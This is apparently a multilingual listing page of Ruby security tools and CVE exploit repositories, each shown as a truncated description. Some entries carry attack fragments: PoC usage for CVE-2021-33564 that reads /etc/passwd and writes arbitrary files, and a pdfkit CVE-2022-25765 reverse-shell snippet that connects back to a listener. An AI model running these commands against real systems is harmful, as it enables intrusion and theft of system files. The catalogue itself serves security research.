sanitize

Sanitize Sanitize è un sanitizzatore HTML e CSS basato su allowlist. Rimuove tutto l'HTML e/o CSS da una stringa, tranne gli elementi, gli attributi e le proprietà che scegli di consentire. Utilizzando una semplice sintassi di configurazione, puoi dire a Sanitize di consentire determinati element...

CVE-2023-31606

CVE-2023-31606 Vulnerabilità È stato scoperto un problema di Denial of Service tramite Espressione Regolare ReDoS nella funzione sanitizehtml della gemma redcloth = v4.0.0. Questa vulnerabilità consente agli aggressori di causare un Denial of Service DoS fornendo un payload appositamente...

CVE-2021-33564

CVE-2021-33564 PoC Script di exploit per CVE-2021-33564 Iniezione di argomenti nella gemma Ruby Dragonfly. Utilizzo Lettura arbitraria di file python3 poc.py -u https:///system/refinery/images -r /etc/passwd Scrittura arbitraria di file python3 poc.py -u https:///system/refinery/images -w...

CVE-2022-36231

CVE-2022-36231 La gemma Ruby pdfinfo = 0.5.3 è vulnerabile a OS Command Injection quando si esegue un metodo su un oggetto PDF::Info. Un attaccante utilizzando un payload appositamente creato può eseguire comandi del sistema operativo utilizzando il concatenamento di comandi. Analisi della...

CVE-2022-25765-exploit

CVE-2022-25765 — Injeção de Comandos no pdfkit Descrição CVE-2022-25765 é uma vulnerabilidade de injeção de comandos Command Injection que afeta o pdfkit Ruby gem nas versões 0.8.7.2. A vulnerabilidade tem severidade CRÍTICA com CVSS 9.8, pois permite execução remota de comandos sem autenticação....

ssh_scan

sshscan Um scanner de configuração e política SSH ⚠️ Aviso de Descontinuação ⚠️ A Mozilla não está mais mantendo o projeto SSH Scan. Por favor, faça um fork para continuar o desenvolvimento. Principais Benefícios Dependências Mínimas - Usa Ruby nativo e BinData para realizar seu trabalho, sem...

vbsmin

VBSmin Minificatore VBScript Caratteristiche ⬜️ Rimuovi spazi bianchi extra Spazi finali Spazi iniziali Righe vuote Spazi extra in linea 💬 Rimuovi commenti Apice singolo inizio riga Apice singolo in linea REM 1️⃣ Una riga Ripartizione riga underscore Due punti Avvio rapido Installazione rapida...

pastenum

Pastenum Pastenum एक टेक्स्ट डंप गणना उपकरण है। इसे सार्वजनिक साइटों पर पोस्ट किए गए डेटाडंप और डॉक्स खोजने और गिनने में मदद करने के लिए डिज़ाइन किया गया है। यह वर्तमान में github.com, gist.github.com, pastebin.com, pastee.org और pastie.org साइटों की खोज करता है। Pastenum, nullthreat के मूल...

mihari

mihari Ein Query-Aggregator für OSINT-basierte Bedrohungsjagd. Mihari kann mehrere Suchanfragen über mehrere Dienste in einer einzigen Regel aggregieren und die Ergebnisse in einer Datenbank speichern. Mihari unterstützt standardmäßig die folgenden Dienste. Censys CIRCL passive DNS / passive SSL...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Tramite CURL modifica i valori in grassetto: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

aws_public_ips

awspublicips...

crack-0.1.8-fixed

= crack Analisi JSON e XML molto semplici, prese da Merb e Rails. Il parser XML è preso da Merb e il parser JSON è preso da Rails. Non prendo alcun merito, li ho solo impacchettati per il divertimento e l'uso facile di tutti. == nota sulle versioni Le versioni sono taggate su GitHub e anche...

hoper

Hoper Mostra todos os saltos que uma URL que você especifica faz para atingir seu destino. Por exemplo, se você quiser ver o caminho completo de uma URL de e-mail ou de um encurtador de URL. Hoper retorna todos os redirecionamentos de URL. Instalação root@kitploit: $ gem install hoper Uso Digite ...

CVE-2021-33564

CVE-2021-33564 PoC Exploit-Skript für CVE-2021-33564 Argument Injection in Dragonfly Ruby Gem. Verwendung Beliebige Datei lesen python3 poc.py -u https:///system/refinery/images -r /etc/passwd Beliebige Datei schreiben python3 poc.py -u https:///system/refinery/images -w public/test.txt -c test.t...

inspec_cve_2019_15224

una gemma rest-client dannosa Il 19 agosto 2019 è stato scoperto che la gemma rest-client aveva diverse versioni pubblicate contenenti codice dannoso. Scoperto il rest-client dannoso, si è accertato che diverse altre nuove gemme trasportavano codice simile. Copertura:...

ssllabs.rb

ssllabs.rb Gem Ruby para teste de servidor Qualys SSL Labs. Notas da API Todos os objetos da API descritos na documentação da API SSL Labs são expostos como objetos Ruby nativos. As propriedades são acessadas com nomes em "snakecase", ou seja, endpoint.hoststarttime retornará o campo hostStartTim...

exploit-CVE-2022-25765

Exploit für CVE-2022-25765 pdfkit - Command Injection Gefällt dir dieses Repo? Gib uns einen ⭐! Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Exploit-Autor @UNICORDev von @NicPWNs und @Dev-Yeoj Beschreibung der Sicherheitslücke Das Paket pdfkit ab Version 0.0.0 ist anfällig für...

ctf-party

ctf-party Cos'è...

declarative-policy

DeclarativePolicy: Una libreria di autorizzazione dichiarativa Questa libreria fornisce un DSL per scrivere politiche di autorizzazione. Può essere usata per separare la logica dalle autorizzazioni, ed è stata usata su larga scala in produzione su GitLab.com. L'autrice originale di questa libreri...

droid-hunter

root@kitploit: .---. .----------- / \ / ------ / / \ / ----- ╔╦╗╦═╗╔═╗╦╔╦╗ ╦ ╦╦ ╦╔╗╔╔╦╗╔═╗╦═╗ ////// ' / --- ║║╠╦╝║ ║║ ║║───╠═╣║ ║║║║ ║ ║╣ ╠╦╝ //// / // : : --- ═╩╝╩╚═╚═╝╩═╩╝ ╩ ╩╚═╝╝╚╝ ╩ ╚═╝╩╚═ // / / / '-- By HaHwul // //..\ www.hahwul.com ====UU====UU==== https://github.com/hahwul/droid-hunter...